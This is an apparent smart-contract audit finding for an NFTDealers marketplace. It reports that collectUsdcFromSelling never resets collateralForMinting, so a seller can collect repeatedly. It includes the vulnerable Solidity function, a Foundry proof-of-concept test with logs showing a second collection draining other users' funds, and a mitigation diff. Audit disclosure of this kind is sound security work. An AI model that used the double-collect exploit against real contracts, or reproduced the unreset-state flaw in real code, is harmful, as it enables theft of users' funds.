NFTDealers::collectUsdcFromSelling fails to reset collateralForMinting allowing sellers to drain contract funds
Description
After a successful NFT sale, a seller calls collectUsdcFromSelling to receive their sale proceeds plus their original minting collateral. The function correctly calculates fees, deducts them from the sale price, and returns the collateral on top.
The function never resets collateralForMinting[listing.tokenId] to zero after paying the seller. This means a seller can call collectUsdcFromSelling on the same listing repeatedly, draining the collateral amount each time from other users' funds held in the contract.
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
Risk
Likelihood: High
-
A seller completes a legitimate sale and calls collectUsdcFromSelling once — then immediately calls it again since no state prevents them from doing so
-
Any seller who inspects the contract can identify the missing reset and exploit it as long as other sales have funded the contract
Impact: High
-
Sellers drain collateral belonging to other users from the contract
-
Other sellers are unable to collect their legitimate sale proceeds as contract balance is drained
-
Protocol accounting is permanently corrupted — totalFeesCollected grows on every call even though fees are not actually being paid again
Proof of Concept
function test_CollectUsdcFromSellingDoubleCollect() public revealed whitelisted(){
uint256 tokenId = 1;
uint256 nftPrice = 1000e6;
mintAndListNFTForTesting(tokenId, nftPrice);
vm.startBroadcast(userWithEvenMoreCash);
usdc.approve(address(nftDealers), nftPrice);
nftDealers.buy(1);
vm.stopBroadcast();
console.log("userWithCash balance :", usdc.balanceOf(userWithCash));
console.log("userWithEvenMoreCash balance :", usdc.balanceOf(userWithEvenMoreCash));
console.log("nftDealers balance :", usdc.balanceOf(address(nftDealers)));
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
uint256 firstCollect = usdc.balanceOf(userWithCash);
console.log("userWithCash balance after :", firstCollect);
console.log("userWithEvenMoreCash balance after :", usdc.balanceOf(userWithEvenMoreCash));
console.log("nftDealers balance after :", usdc.balanceOf(address(nftDealers)));
uint256 tokenId2 = 2;
uint256 nftPrice2 = 2000e6;
mintAndListNFTForTesting(tokenId2, nftPrice2);
vm.startBroadcast(userWithEvenMoreCash);
usdc.approve(address(nftDealers), nftPrice2);
nftDealers.buy(tokenId2);
vm.stopBroadcast();
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
uint256 secondCollect = usdc.balanceOf(userWithCash);
console.log("userWithCash balance after 2nd :", secondCollect);
assertGt(secondCollect, firstCollect);
assertGt(usdc.balanceOf(address(nftDealers)), nftDealers.totalFeesCollected());
}
Output
Logs:
userWithCash balance : 0
userWithEvenMoreCash balance : 199000000000
nftDealers balance : 1020000000
userWithCash balance after : 1010000000
userWithEvenMoreCash balance after : 199000000000
nftDealers balance after : 10000000
userWithCash balance after 2nd : 2000000000
Recommended Mitigation
Reset collateralForMinting before transferring funds to follow CEI and prevent repeated collection:
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
// EFFECTS
totalFeesCollected += fees;
+ collateralForMinting[listing.tokenId] = 0;
amountToSeller += collateralToReturn;
// INTERACTIONS
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
